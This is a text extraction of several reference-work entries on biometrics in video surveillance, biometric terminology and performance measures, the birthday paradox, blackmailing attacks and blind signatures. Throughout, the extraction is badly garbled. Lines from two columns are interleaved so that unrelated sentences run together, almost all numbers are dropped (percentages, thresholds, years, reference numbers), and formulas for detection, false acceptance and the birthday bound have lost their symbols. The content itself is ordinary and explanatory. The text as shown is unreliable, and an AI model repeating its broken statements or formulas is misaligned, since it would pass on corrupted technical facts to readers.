Database%State%- %Executive%Summary.pdf Applications
. Bhre V () Happy landings? The biometric passport as a The processing of biometric recognition consists of the fol-
black box. A Report Commissioned by the Dutch Wetenschap- lowing biometric image processing and recognition stages:
pelijke Raad voor het Regeringsbeleid - management summary in
localization of the concerned biometric parts from the
english published , Den Haag, The Netherlands. http://www.
wrr.nl/ input image, normalization of them in geometry and
. Max Snijder M () Biometric passport in The Netherlands: photometry, template (feature) extraction, template-based
crash or soft landing? A report commissioned by the Dutch comparison (matching), and decision making. Although
Wetenschappelijke Raad voor het Regeringsbeleid management these modules are also used for static face recognition,
summary in english published , Den Haag, The Netherlands.
techniques for face recognition in video need to deal with
http://www.wrr.nl/
not only problems existing in static face recognition, but
also those due to movements of biometrics captured at far
distance. In addition to those used for the static case, tem-
poral information between video frames may be explored
Biometrics in Video Surveillance to make fuller use of information therein [].
Because on-spot biometric images are captured at a far
Stan Z. Li distance, hence the relationship between the human and
Center for Biometrics and Security Research, Institute the system (more specifically the biometric sensor) is less
of Automation, Chinese Academy of Sciences, Beijing, controllable. When the relationship between human and
Public Republic of China the system cannot be properly constrained, this can cause
problems in that necessary biometric image quality may
not be satisfied and the templates thus extracted tend to
Synonyms
deviate too much from those extracted from the enrolled
Biometric identification in video surveillance
Related Concepts
Face Recognition; Gait Recognition; Iris Recognition;
CCTV
Video Surveillance
Denition
Biometrics in video surveillance refers to those biomet-
Passage
rics in which biometric images, e.g., those of face, gait or 36 m
iris, are captured using surveillance videos operating at a
distance from the human body. They are among the most Biometrics in Video Surveillance. Fig. CCTV surveillance
challenging forms of biometric technologies. watching people walking through a passage
B Biometrics in Video Surveillance
face images usually captured in a significantly different According to NISTs face recognition evaluation
environment, leading to deteriorated recognition perfor- reports on FERET and FRGC tests [] and other indepen-
mance (degradations in far-distance face recognition will dent studies, the performance of many state-of-the-art face
be explained in more details later in this entry). recognition methods deteriorates with changes in lighting,
A biometric system operates in either one of the two pose, and other factors. The following factors are specific to
modes: -to- and -to-many []. The : verification mode face recognition in video surveillance, apart from those in
confirms or rejects a claimed identity. It is used in many cooperative and near-distance scenarios.
applications including identity verification in banking,
e-passport, and access control. When the biometric sam- Noncooperative User Behavior
ple is captured at a far distance in video surveillance and In cooperative user scenarios, the user has to be cooper-
the : association done by using a remote RFID or smart ative, e.g., facing to the camera in frontal pose, being of
card, access control could be implemented to achieve high neutral expression, without wearing improper hats or dark
convenience for users even on the move. eye-glasses or glasses thick frames, in order to be granted
Figure shows the application of a mid-distance face the access to some rights such as entering to a restricted
recognition system for biometric verification in Beijing area, such as withdrawing money from ATM. In face recog-
Olympic Games. This system verifies in : mode the nition in video surveillance, however, user cooperation
identity of a ticket holder (spectator) at entrances to the with respect to the biometric sensor, i.e., video camera,
National Stadium (Birds Nest). Every ticket is associated may not be imposable, and totally is impossible for appli-
with a unique ID number. On enrollment, every ticket cations of watch-list surveillance. Non-frontal face images
holder is required to submit his registration form together can result, causing further problems. Proper deployments
with a in. ID/passport photo attached. The face photo is of video cameras and powerful face processing and recog-
scanned into the system. On entry to the event, the ticket nition algorithms are needed to solve these problems.
is read by an RFID reader, and then the biometric system
takes face images of the claimant associated with the RFID Low Image Resolution
number using a video camera, compares them with the face When the view of the camera covers a large area, the pro-
template extracted from the enrollment photo scan, and portion of the face in the image can be small. This can
makes a decision. lead to low resolution of the face portion, which degen-
The :N identification mode determines the identity of erates both the performances of face detection and the
an individual. In the open-set identification [], it includes recognition engines. Choosing a long focal length lens can
two subtasks: firstly deciding whether the captured face increase the proportion of the face in the image, but also
belongs to one of the N individuals in the record, and if so, narrows down the view. Using a high resolution camera is
secondly identifying to whom of the N it matches. Biomet- a solution to this problem, especially in the future when the
ric identification is used in applications including watch- high-definition image sensor and video technologies, and
list surveillance and identification, VIP identification and high-power computing becomes popular.
services, and to access control without cards.
Figure shows a snapshot of :N watch-list face surveil- Image Blur
lance and identification at a Beijing Municipal Subways When people are moving, the face image captured at a
station. CCTV cameras are mounted at the entrances and distance can be blurred. This may be solved by using a
exits, in which way face images are more likely to be high-speed camera and a small aperture lens (for large
captured. Subway scenes are often crowded and contains depth of view). However, the use of a rapid exposure causes
multiple faces. The system identifies suspects from the a new problem: for shorter exposure, the aperture has to
crowd. be increased. These two factors are conflicting. Advances
in image sensing and optics are needed to solve the
problem.
Open Problems
Biometric identification at a distance in video surveillance Interlacing in Video Images
is the most challenging form among all other forms of bio- Interlacing refers to the methods for painting a video image
metrics, and there are many problems to be solved before on an electronic display screen by scanning or display-
the technologies attain maturity. This section presents ing each line or row of pixels, as used in most deployed
open problems specific to face recognition at a distance in CCTV cameras nowadays. This technique uses two fields,
video surveillance applications. odd and even, to form a frame. Because each frame of
Biometrics in Video Surveillance B
Biometrics in Video Surveillance. Fig. Face verication used in Beijing Olympic Games (courtesy of CBSR & AuthenMetric)
Biometrics in Video Surveillance. Fig. Watch-list face surveillance at subways
interlaced, the videos are composed of two fields that decrease face detection and recognition performance. To
are captured at different moments in time, and interlaced minimize such artifacts, a processing called de-interlacing
video frames exhibit motion artifacts if the faces are mov- may be utilized to correct the flaw at least partially. Using
ing fast enough to be in different positions in the image a progressive scan video system can be a solution to this
plane when the both the frames are captured. Such artifacts problem.
B Biometrics: Terms and Denitions
Recommended Reading . Iris

. Chellappa R, Aggarwal G, Zhou SK () Face recognition, . Voice
video-based. In: Li SZ (ed) Encyclopedia of biometrics. Springer, . Hand geometry
New York
. Palm print
. Chellappa R, Veeraraghavan A () Gait biometrics, overview.
In: Li SZ (ed) Encyclopedia of biometrics. Springer, New York
. Palm veins
. Martizez AM () Face recognition, overview. In: Li SZ (ed) . Ear
Encyclopedia of biometrics. Springer, New York . Retina
. Matey JR () Iris on the move. In: Li SZ (ed) Encyclopedia of . Gait
biometrics. Springer, New York
. Signature
. Phillips PJ, Flynn PJ, Scruggs T, Bowyer KW, Chang J, Hoffman K,
Marques J, Min J, Worek W () Overview of the face
. Handwriting
recognition grand challenge. In: Proceedings of IEEE computer
A more detailed definition for the most widely accepted
society conference on computer vision and pattern recognition,
San Diego, California biometrics traits (e.g., fingerprint, face, and iris) is pro-
. Ross A, Jain AK () Biometrics. In: Li SZ (ed) Encyclopedia vided in other entries of this encyclopedia. Many other
of biometrics. Springer, New York modalities, such as soft biometrics and ear biometrics, are
in various stages of development and assessment. Factors
such as device location, security risks, task (identification
or verification), expected number of users, user circum-
Biometrics: Terms and Denitions stances, and existing data must be taken into consideration
when a biometric trait is selected as input to recognition
Evangelia Micheli-Tzanakou, Konstantinos N. system.
Plataniotis

Department of Biomedical Engineering, Rutgers - The Biometric Trait: Characteristics (Table )
State University of New Jersey, Piscataway, NJ, USA Universality (everyone should have this trait)

The Edward S Rogers Sr. Department of Electrical & Uniqueness (no two persons should be the same in
Computer Engineering and Knowledge Media Design terms of this trait)
Institute, University of Toronto, Toronto, ON, Canada Collectability (can be measured quantitatively)
Permanence (should be invariant with time)
Denitions Performance (achievable accuracy, resource require-
Biometrics Automated recognition of individuals based on ments, robustness)
their behavioral and biological characteristics. Acceptability (to what extent people are willing to
Biometric Of or having to do with biometrics accept it)
(International Standardization Organization: ISO SC Circumvention (how easy it is to fool the system [])
Standing Document , version , July ).
Biometric can be seen as a general term used alterna- Biometric templates are files derived from the unique fea-
tively to describe a characteristic or a process []. tures of a biometric sample. The template contains a dis-
As a characteristic tinctive subset of information, but utilizes only a fraction
A measurable biological (anatomical and physiological) of the data found in an identifiable biometric trait such
and behavioral characteristic that can be used for auto- as a facial image. Biometric vendors templates are usually
mated recognition. proprietary and not interoperable [].
As a process Biometric authentication refers to the process of establish-

ing confidence in the truth of a given claim. Such a claim
Automated methods of recognizing an individual based
could be any declarative statement such as The subjects
on measurable biological (anatomical and physiological)
name is Jonathan Real or This individual is six feet tall.
and behavioral characteristics.
It should be noted that in the biometric systems literature
Biometric traits Deployable biometric systems utilize, the term is used as a generic synonym for verification [].
among the many available, one or more of the following
biometric traits []: Biometric verification refers to the process of confirming
an individuals claimed identity by comparing a submit-
. Face ted sample to one or more previously enrolled biometric
. Fingerprints templates [, ].
Biometrics: Terms and Denitions B
Biometric identification/recognition refers to the process of Biometric system operation []:

automatic recognition of individuals based on their physi-
Enrollement The process of collecting a biometric sam-
ological and/or behavioral characteristics []. Physiolog-
ple from an individual (end-user), converting it into
ical characteristics are related to the shape of the body,
a biometric template, and storing it in the biometric
such as faces [], fingerprints [], hand geometry, and iris.
Behavioral characteristics are related to the behavior of a
systems database for later comparison. B
person, such as signature, keystroke, voice, and gait []. Matching The process of comparing a biometric sam-
ple against a previously stored template and scoring the
Biometric system a pattern recognition system which can
level of similarity or difference between the two. Bio-
be used to identify and/or verify a persons identity. Bio-
metric systems then make decisions based on this score
metrics systems can be used in military, civilian, homeland
and its relationship against a predetermined threshold
security, and information technology (IT) security applica-
(above or below the threshold).
tions []. A biometric system is usually comprised of five
integrated modules: Biometric systems performance evaluation There are three
main biometric recognition tasks: verification, identifica-
Sensor module is used to collect the data and convert
tion and watch list [].
the information to a digital format.
Signal processing module performs quality control Authentication/verification involves a one-to-one match
activities and develops the biometric template. that compares a query sample against a template of the
Data-storage module keeps information to which new claimed biometric identity in the database. The claim
biometric templates will be compared. is either accepted or rejected.
Matching algorithm module compares the new biomet- Identification/recognition involves one-to-many match-
ric template to one or more templates kept in data ing that compares a query sample against all the bio-
storage. metric templates in the database to output the iden-
Decision module (either automated or human-assisted) tity or the possible identity list of the input query. In
uses the results from the matching component to make this scenario, it is often assumed that the query sam-
a system-level decision. ple belongs to the persons who are registered in a
database.
Although biometric systems are traditionally linked to law
enforcement applications, they are being used increas- Watch list involves one-to-few matching that compares
ingly in a large number of civilian applications, includ- a query sample against a list of suspects. In this task,
ing, but not limited to, driver licences, administration the size of database is usually very small compared
of social benefits, health system, and networked authen- to the possible queries and the identity of the probe
tication. Biometrics-based authentication systems offer may not be in the database. Therefore, the recogni-
greater security and convenience than traditional methods tion system should first detect whether the query is
of personal authentication, such as ID cards and pass- on the list or not and if yes, correctly identify it. The
words. They provide users with greater convenience (e.g., performance of watch list tasks is usually measured by
no need to remember passwords) while maintaining suffi- the detection rate, the identification rate and the false
ciently high accuracy []. alarm rate.
Biometrics: Terms and Denitions. Table Comparison of dierent biometric technologies []
User Circumvention
Biometric Universality Accuracy Stability acceptability Cost (diculty)
Face H L M H L L
Fingerprint M H H H L L
Voice M L L H L L
Iris H H H L H H
Signature L L L H L L
Gait M L L H L M
Palm print M H H M M M
H high, M medium, L low
Biometric system performance is generally measured using research, and develop accurate and cost-effective biomet-
two quantities: False Acceptance Rate (FAR) and False rics. In fact, biometric authentication systems are in use
Rejection Rate (FRR) which are defined as follows []: today in a wide range of applications, including physi-
cal access control, surveillance, network security, online
False acceptance rate (FAR) A statistical measure used
transaction, and attendance control []. As a result of the
to quantify biometric performance when operating in
great interest in biometrics research, international compe-
the verification task. The percentage of times a system
titions for fingerprint verification algorithms and symposia
produces a false accept, which occurs when an indi-
dedicated for face recognition have been established. Face
vidual is incorrectly matched to another individuals
recognition in particular is an attractive biometric technol-
existing biometric.
ogy as it does not require invasive interfaces, and although
False rejection rate (FRR) A statistical measure used
its identification accuracy is not as high as that of other
to quantify biometric performance when operating in
methods (i.e., fingerprint recognition), it can be used for
the verification task. The percentage of times the sys-
surveillance and perimeter control in environments for
tem produces a false reject. A false reject occurs when
vital importance to homeland security such as airports,
an individual is not matched to his/her own existing
government buildings, and civic control centers.
biometric template.
In the last decade, automatic face location and recog-
These values can generally be varied by way of system nition have been studied by the international community.
parameter choices. The plot of FAR vs. FRR using differ- The interested reader should refer to [] for introductory
ent parameters generates what is known as the Receiver surveys in the area and a list of open research problems,
Operating Characteristic (ROC) curve. The term is used especially when real-time applications are required. Most
to define a method of showing measured accuracy perfor- existing methods rely on template matching, deformable
mance of a biometric system. A verification ROC compares templates, and snake, elliptical approximation, Hough
false accept rate vs. verification rate. An open-set identi- transforms, and neural networks to localize the face. Based
fication (watch-list) ROC compares false alarm rates vs. on the localized input, a biometric system for face recogni-
detection and identification rate. tion has to watch the input image against faces stored in a
Multi-biometric systems Most biometric systems that rely database in order to establish the identity of the subject in
on a single biometric indicator often report unacceptable question.
error errors either due to noisy inputs or due to the lim- Feature extraction in biometric systems The main purpose
itations of the data set itself []. Information fusion can of feature extraction is to find techniques that can intro-
be a powerful tool capable of increasing the reliability of duce low dimensional feature representation of objects
biometric systems. The main idea is to combine individ- with enhanced discriminatory power. These are fed to
ual outcomes so the reliability of the overall system is a subsequent classification machine for recognition and
improved when compared to that of individual systems. identity establishing tasks. Although numerous algorithms
Information and decision fusion have been used in the have been proposed, the feature extraction and classifica-
context of biometric authentication before. For example, tion has turned out to be a very difficult endeavor. Key
multi-face recognition systems have been designed to han- technical barriers include: (i) immense variability of bio-
dle the variations in pose. The overall system combines metric data, (ii) high dimensionality of input spaces, and
biometric solutions of individual systems trained on exam- (iii) highly complex and non linear pattern distribution.
ples of frontal and profile pose. The aggregation rules It should be noted here that the performance of many
used so far are rather simplistic and there is no system- biometric systems deteriorates rapidly when applies to
atic evaluation of their impact and no sensitivity analy- large input databases. Most systems utilize appearance-
sis of their parameters. Multi-biometric systems attempt based approaches where recognition techniques are used
to enhance authentication performance by combining to extract discriminant features from raw biometric data.
multiple evidence of the same identity. Source comple- Holistic interpretation of the input values using discrimi-
mentarity, which usually relates to the sensitivity varia- nant methods such as linear discriminant analysis (LDA)
tions of the reporting biometric devices, is still an open or methods such as the principal component analysis
research problem. (PCA) are the two most commonly used approaches [].
For completeness, a quick overview of the Linear
Background Discriminant Analysis (LDA) solution is provided below.
The interest in biometric research has grown significantly Learning with labelled data Linear Discriminant Analy-
in the last three decades, and academic as well as corporate sis (LDA) [] is the most commonly used technique for
research units have devoted a lot of resources to study, data reduction and feature extraction using labelled data
Biometrics: Terms and Denitions B
in biometric systems. In contrast with PCA, LDA is a LDA

class specific method that utilizes supervised learning to DLDA
find the set of feature basis vectors that maximizes the PCA
ratio of the between- and within-class scatters of the train-
ing image data. When it comes to solving problems of
pattern classification, research indicates that LDA-based
B
algorithms outperform PCA-based approaches, since the DPCA
former optimizes the low-dimensional representation of
the objects with focus on the most discriminant feature
extraction while the latter offers face reconstruction [].
Similar to KPCA, nonlinear extensions of LDA, called
Generalized Discriminant Analysis (GDA) or Kernel Dis-
criminant Analysis (KDA), are based on kernel machines
and have been recently introduced and applied to the face Biometrics: Terms and Denitions. Fig. There are two dier-
recognition problem []. ent classes embedded in two dierent Gaussian-like distribu-
Discriminant classifier design Given the face feature repre- tions. However, only two samples per class are supplied to the
sentation extracted by the FE module, a classifier is utilized learning procedure (principal component analysis [PCA] or lin-
in order to learn the complex decision function needed ear discriminant analysis [LDA]). The classication result of the
for the formation of the final decision (pattern classifi- PCA procedure (using only rst eigenvector) is more desirable
cation) [] A good classifier should be able to effectively than the result of the LDA. DPCA and DLDA represent the deci-
use the derived features in order to discriminate between sion thresholds obtained by using a Nearest Neighbour (NN)
faces belonging to different classes in a cost-effective man- classier
ner. The classifier model of learning from examples can be
described in terms of three components: without paying any attention to the underlying class struc-
ture. However, it has been shown recently that the conclu-
. A generator of random vectors x, drawn independently
sion is not always true in practice. Alternatively, the more
from a fix but unknown distribution P(x)
accurate conclusion is that when the number of training
. A supervisor that returns an output vector y for every
samples per class is small, or when the training data non-
input x, according to a conditional distribution P(yx),
uniformly sample the underlying pattern distribution (i.e.,
also fixed but unknown
the training samples do not represent well the underly-
. A learning machine capable of implementing a set of
ing pattern distribution), PCA may outperform LDA, and
functions or hypotheses
also PCA is less sensitive to different training databases.
Given a set of examples or observations of (x, y) : This claim can be illustrated by an example shown in Fig.
(x , y ), . . . , (xi , yi ) the goal in the classifier design task is where PCA yields superior results.
to find a function f(x, ) which predicts the class label
(zi ) or equivalently, provides the smallest possible value Application Example: Evaluating the
for the expected risk: f (x, ), where is a set of abstract Identication Performance
parameters, and the function set is called the hypothe- The identification subsystem, in more specific terms, is
sis space, . Since P(x, y) is unknown, most parametric performing a watch list operation, whereby enrolled
classifiers, such as Linear Gaussian (LG) and Quadratic subjects (the watch list) represent only a small subset of
Gaussian (QG), may require estimation of the class- subjects which will be processed by the system. In this sce-
dependent means and covariances in order to classify nario, the system must attempt to detect whether a given
test samples, while non linear classifiers such as Nearest subject entering the premises (termed a probe subject)
Neighbour (NN), Bayesian Classifier and Neural Network is enrolled in the system and, if he or she is enrolled,
(NNet) solve the specific learning problem using the so- identify that subject. When a positive detection and iden-
called empirical risk (i.e., training error) minimization tification is achieved, this is considered acceptance in the
(ERM) induction principle, where the expected risk func- system. Conversely, if detection fails, then rejection has
tion R() is replaced by the empirical risk function []. occurred.
In theory, it is generally believed that algorithms based The detection performance is affected by means of
on LDA are superior to those based on PCA, because the a similarity threshold (ts ) or distance threshold (td ),
former deals directly with discrimination between classes, depending on whether face images (templates) are com-
whereas the latter deals with optimal data compression pared using a similarity measure or distance measure.
Specifically, if a similarity measure sij is used to com- where

pare two templates, xi and xj , then a positive detection is pj is a given probe subject, gi is a subject enrolled in the
registered when: system, and G represents the set of all enrolled subjects
sij ts (gallery set).
And finally, false rejection occurs when:
The lowering of ts implies weaker criterion for detection, False Rejection
allowing templates with less similarity to each other to reg-
ister a positive detection. Alternatively, if a distance mea- [(sij < ts ) or (sij ts and rank (pj ) > r)] and id (pj ) = id (gi )
sure dij is used, then positive detection is registered when:
where
dij td pj is a given probe subject, and gi is a subject enrolled
For ease of notation, it will be assumed in the remainder in the system; the ranking is performed across all gallery
of the discussion that a similarity metric is utilized, with (enrolled) subjects.
This leads to the measure of probability of correct
no loss of generality. Following detection, identification
detection and identification as follows:
performance is affected by means of a ranking thresh-
old, r, which determines the how many of the enrolled sub- {pj : sij ts , rank(pj ) r, id(pj ) = id(gi )}
PDI (ts , r) = , pj PG
jects (which achieved positive detection when compared PG
to the probe subject) may achieve positive identification.
For example, if r = , then only the (one) enrolled sub- where
ject exhibiting the highest similarity compared to the probe PG is the set of probe subjects, all of which are enrolled
subject is considered a candidate identity; if r = , then in the system. In other words, measuring across a set of
the two enrolled subjects exhibiting the highest similari- subjects which are all enrolled in the system, determined
ties compared to the probe subject, and so on. Increasing r the fraction of them which will be correctly detected and
weakens the criterion for identification and increases the identified.
likelihood that the subject will be correctly identified in The fractions of those which are rejected constitute
this ranked list context. false rejections, leading to the probability of false rejection
This leads to a definition of correct detection and iden- or false rejection rate (FRR):
tification, which is achieved when:
PFR (ts , r) = PDI (ts , r)
Correct Detection and Identification (Acceptance)
We note that PFR is completely dependent on PDI .
sij ts rank(pj ) r id(pj ) = id(gi ) The other measure of performance is the probability
of false acceptance (also known as false acceptance rate
where (FAR)). This is measured as follows:
pj is a given probe subject, and gi is a subject enrolled
in the system (termed a gallery subject); the ranking is {pj : maxi sij ts }
PFA (ts ) = , pj PN , gi G
performed across all gallery (enrolled) subjects. PN
Hence, a false detection and identification is achieved
when: where PN is a set of impostor subjects not enrolled in
False Detection and Identification (Acceptance) the system. In other words, measuring across a set of sub-
jects which are not enrolled in the system, determines
the fraction of those subjects exhibiting a similarity with
sij ts rank(pj ) r id(pj ) id(gi ) an enrolled subject (the gallery set G) greater than the
threshold ts .
where
pj is a given probe subject, and gi is a subject enrolled
in the system; the ranking is performed across all gallery
Privacy
Privacy is a major concern in the use of biometric systems.
(enrolled) subjects.
Users often have concerns as to potential misuse of biomet-
Conversely, correct rejection occurs when:
ric information used for identity verification. It is critical
Correct Rejection
that biometric system operators take steps to ensure that
sij < ts and id(pj ) id(gi ) gi G reasonable privacy expectations are met [].
Birthday Paradox B
There are two categories of privacy risks posed by . Jain K, Ross A, Prabhakar S () An introduction to biometric
biometric systems: recognition. IEEE Trans Circuits Syst Video Technol ():
. NSTC subcommittee on biometrics Foundation Documents
Personal privacy relates to privacy of the individual [Online]. http://www.ostp.gov/NSTC/html/NSTC_Home.html.
user, the infringement of which relates to coercion Accessed Sep
or physical or emotional discomfort when interacting B
with a biometric system.
Informational privacy relates to the misuse of biomet-
ric information or of data associated with biometric BIOS Basic Input Output System
identifiers.
The major privacy concern related to misuse of biometric Trusted Computing
data is usage of biometrics as unique identifiers. In princi-
ple, a unique biometric identifier could facilitate tracking
across federated databases. However, inherent character-
istics of biometric templates limit the ability of biometric
Birthday Paradox
systems to use templates as unique identifiers. Biomet-
ric samples acquired at different times generate different Arjen K. Lenstra
numerical templates. As biometric templates change from Laboratory for cryptologic algorithms - LACAL, School
application to application, the ability to track an individual of Computer and Communication Sciences, cole
from database to database is reduced. Polytechnique Fdrale de Lausanne, Switzerland
Depending on how a biometric system is used and
what protections are in place to prevent its misuse, a Related Concepts
biometric system can be categorized as: Collision Resistance; Generic Attacks Against DLP;
Privacy-protective a system in which biometric data is Hash Functions; Integer Factoring
used to protect or limit access to personal information.
Privacy-sympathetic a system in which protections are Denition
established and enforced which limit access to and The birthday paradox refers to the fact that there is a prob-
usage of biometric data. ability of more than % that among a group of at least
Privacy-neutral a system in which privacy simply is not randomly selected people at least have the same birthday.
an issue, or in which the potential privacy impact is It follows from
very slight. These are generally closed systems in which
. < .
data never leaves the biometric device.
Privacy-invasive a system which is used in a fash- it is called a paradox because the is felt to be unreason-
ion inconsistent with generally accepted privacy prin- ably small compared to . Further, in general, it follows
ciples. Privacy-invasive systems may include those from
that use data for purposes broader than originally pi
< .

intended. i. p p
that it is not unreasonable to expect a duplicate after

Recommended Reading
about p elements have been picked at random (and with
. Boulgouris NV, Plataniotis KN, Micheli-Tzanakou E () Bio- replacement) from a set of cardinality p. A good exposition
metrics: theory, methods and applications. Wiley-IEEE Press, of the probability analysis underlying the birthday paradox
Hoboken, ISBN
. Cavoukian A () Privacy by design: take the
can be found in Corman et al. [].
challenge, Toronto, ON, Canada. Mar [Online].
http://www.ipc.on.ca/english/Resources/Discussion-Papers/Dis Applications
cussion-Papers-Summary/?id=. Accessed Sep Under reasonable assumptions about their inputs, com-
. Duda RO, Hart PE, Stork DG () Pattern classification, nd
mon cryptographic k-bit hash functions may be assumed
edn. Wiley Interscience, New York, ISBN
. Jain AK, Hong L, Pankanti S, Bolle R () An iden-
to produce random, uniformly distributed k-bit outputs.
tity authentication system using fingerprints Proc IEEE (): Thus, one may expect that a set of the order of k/
inputs contains two elements that hash to the same value.
B Black Box Algorithms
Such hash function collisions have important cryptanalytic Recommended Reading

applications. Another prominent cryptanalytic application . von Solms S, Naccache D () On blind signatures and perfect
of the birthday paradox is Pollards rho factoring method crimes. Computers and Security, :
(see the entry on integer factoring), where elements are
drawn from Z/nZ for some integer n to be factored. When
taken modulo p for any unknown p dividing n, the ele-
ments are assumed to be uniformly distributed over Z/pZ.
Blind Signature
A collision modulo p, and therefore possibly a factor
Gerrit Bleumer
of n, may be expected after drawing approximately p
elements. Research and Development, Francotyp Group,
Cryptanalytic applications of the birthday paradox Birkenwerder bei Berlin, Germany
where the underlying distributions are not uniform are
the large prime variations of sieving-based factoring meth- Related Concepts
ods. There, in the course of the data gathering step, data Blinding Techniques; Unlinkability
involving so-called large primes q is found with probability
approximately inversely proportional to q. Data involving Denition
large primes is useless unless different data with a match- A blind signature is a digital signature where the recipient
ing large prime is found. The fact that smaller large primes chooses the message to sign and obtains the digital signa-
occur relatively frequently, combined with the birthday ture, while the signer learns neither the message chosen
paradox, leads to a large number of matches and a con- nor his corresponding signature.
siderable speedup of the factoring method.
Theory
Recommended Reading In a blind signature scheme, signers have individual private
. Cormen TL, Leiserson CE, Rivest RL, Stein C () Introduction
signing keys and distribute their corresponding public ver-
to algorithms, nd edn. MIT, Cambridge, Section . ifying keys, just as in normal cryptographic digital sig-
nature schemes. Public verifying keys are distributed via
authentication channels, for example, by means of public
key infrastructures. There is also a publicly available verify-
ing algorithm such that anyone who has retrieved a public
Black Box Algorithms
verifying key y of a signer can verify whether a given sig-
nature s is valid for a given message m with respect to the
Generic Attacks Against DLP
signers public verifying key y.
In a blind signature scheme, the signers neither learn
the messages they sign nor the signatures the recipients
Blackmailing Attacks obtain for their messages. A verifier who seeks a signature
for a message m from a signer with verifying key y pre-
David Naccache pares some related message m and passes m to the signer.
Dpartement dinformatique, Groupe de cryptographie, The signer provides a response s back to the recipient, such
cole normale suprieure, Paris, France that the recipient can derive a signature s from y, m, m , s
such that s is valid for m with respect to y. The result-
ing signature s is called a blind signature, although it is
not the signature that is blind, but the signer. Blind digital
Related Concepts signatures are an example of blinding techniques.
Anonymity
The first constructions of cryptographic blind signa-
tures were proposed by David Chaum. These early blind
Denition signature schemes were based on RSA signatures. An
A blackmailing attack consists in coercing an authority example is the Chaum Blind Signature [, ]. The general
(e.g., by taking a hostage) to publish (e.g., in a newspaper mathematical formalization of blind signatures is given
or on the Internet) an encrypted version of a system secret under blinding techniques .
key. Blackmailing attacks are a concern in anonymous cash The security of blind signature schemes is defined by
systems that have no anonymity revocation features. a degree of unforgeability and a degree of blindness. Of
Blind Signature B
the notions of unforgeability (forgery) for normal cryp- interactions with the honest recipient from the recipients
tographic signature schemes defined by Goldwasser et al. outputs (m , s ), which are seen by the verifier, even if the
[], only unforgeability against total break and univer- signer and the verifier collaborate. More precisely, consider
sal break apply to blind signature schemes. However, the an honest recipient who first obtains n pairs of messages
notions of selective forgery and existential forgery are and respective valid signatures (m , s ), . . . , (mn , sn ) from
inappropriate for blind signature schemes, because they a signer, then derives n pairs of blinded messages and sig-
B
assume an active attack to be successful if after the attack natures (m , s ), . . . , (mn , sn ) from the former n pairs
the recipient has obtained a signature for a (new) message one by one, and later shows the latter n pairs to a verifier
that the signer has not signed before. Obviously, this con- in random order. Then, the signer and the collaborating
dition holds for every message a recipient gets signed in a verifier should find each bijection of the former n pairs
blind signature scheme, and therefore the definition can- onto the latter n pairs to be equally likely to describe which
not discriminate attacks from normal use of the scheme. of the latter pairs the honest recipient has derived from
For blind signatures, one is interested in other notions which of the former pairs. A weaker degree of blindness
of unforgeability, namely, unforgeability against one-more is defined as computational unlinkability, which is defined
forgery and restrictiveness (forgery), both of which are just as unconditional unlinkability except that the attacker
mainly motivated by the use of blind signatures in untrace- is computationally restricted (computational complex-
able electronic cash. ity). These are formalizations of the intended property that
A one-more forgery [] is an attack that for some the signer does not learn anything about the message
polynomially bounded integer n comes up with valid being signed.
signatures for n + pair wise different messages after the On a spectrum between keeping individuals account-
signer has provided signatures only for n messages. Blind able and protecting their identities against unduly prop-
signatures unforgeable against one-more forgery have agation or misuse, blind signature schemes tend toward
attracted attention since Chaum et al. [] and Chaum [] the latter extreme. In many applications, this strongly
used them to build practical off-line and online untrace- privacy-oriented approach is not acceptable in all circum-
able electronic cash schemes. Most practical electronic stances. While the identities of honest individuals are pro-
cash schemes employ one-time blind signatures, where a tected in a perfect way, criminal dealings of individuals
customer can obtain only one signed message from each who exploit such systems to their own advantage are pro-
interaction with the bank during withdrawal of an elec- tected just as perfectly. For example, Naccache and van
tronic coin. This helps to avoid the problem of counter- Solms [] have described perfect crimes where a crimi-
feiting electronic coins [, ]. Formal definitions of nal blackmails a customer to withdraw a certain amount
one-time blind signatures have been proposed by Franklin of money from her account by using a blind signature
and Yung [] and by Pointcheval []. scheme and then deposit the amount into the criminals
In a restrictive blind signature scheme, a recipient who account.
passes a message m to a signer (using verifying key y) and
receives information s in return can derive from y, m, m , s
only valid signatures for those messages m that observe Applications
the same structure as m. In off-line electronic cash, this is Trustee-based blind signature schemes have been pro-
used to encode a customers identity into the messages that posed to strike a more acceptable balance between keep-
are signed by the bank such that the messages obtained ing individuals accountable and protecting their identities.
by the customer all have his identity encoded correctly. Stadler et al. [] have proposed fair blind signatures. Fair
Important work in this direction was done by Chaum and blind signatures employ a trustee who is involved in the
Pedersen [], Brands [], Ferguson [, ], Frankel et al. key setup of the scheme and in an additional link-recovery
[], and Radu et al. [, ]. A formal definition of a spe- operation between a signer and the trustee. The trustee
cial type of restrictive blind signatures has been given by can revoke the blindness of certain pairs of messages
Pfitzmann and Sadeghi []. and signatures upon request. The link-recovery operation
Blindness is a property serving the privacy interests of allows the signer or the judge to determine for each tran-
honest recipients against cheating and collaborating sign- script (m, s) of the signing operation which message m
ers and verifiers. The highest degree of unlinkability is has resulted for the recipient, or to determine for a given
unconditional unlinkability, where a dishonest signer and recipients message m from which transcript (m, s) it has
verifier, both with unconditional computing power, cannot evolved. Similar approaches have been applied to construc-
distinguish the transcripts (m, s) seen by the signer in his tions of electronic cash [, ].
B Blinding Techniques
Blind signatures have been employed extensively (eds) Advances in cryptography: ASIACRYPT. Lecture notes
in cryptographic constructions of privacy-oriented ser- in computer science, vol . Springer, Berlin, pp
. Franklin M, Yung M () Secure and efficient off-line digital
vices such as untraceable electronic cash, anonymous
money. In: Lingas A, Karlsson RG, Carlsson S (eds) th Inter-
electronic voting schemes, and unlinkable credentials. national colloquium on automata, languages and programming
(ICALP). Lecture notes in computer science, vol . Springer,
Heidelberg, pp
Recommended Reading . Goldwasser S, Micali S, Rivest RL () A digital signature
. Brands S () An efficient off-line electronic cash system scheme secure against adaptive chosen-message attacks. SIAM J
based on the representation problem. Centrum voor Wiskunde Comput ():
en Informatica, Computer Science/Department of Algorithmics . Naccache D, von Solms S () On blind signatures and perfect
and Architecture, Report CS-R, http://www.cwi.nl/ crimes. Comput Security ():
. Brands S () Untraceable off-line cash in wallet with . Pfitzmann B, Sadeghi A-R () Coin-based anonymous fin-
observers. In: Stinson DR (ed) Advances in cryptology: gerprinting. In: Stern J (ed) Advances in cryptology: EURO-
CRYPTO. Lecture notes in computer science, vol , CRYPT. Lecture notes in computer science, vol .
Springer, Berlin, pp Springer, Berlin, pp
. Brickell E, Gemmell P, Kravitz D () Trustee-based tracing . Pointcheval D () Strengthened security for blind signatures.
extensions to anonymous cash and the making of anonymous In: Nyberg K (ed) Advances in cryptology: EUROCRYPT.
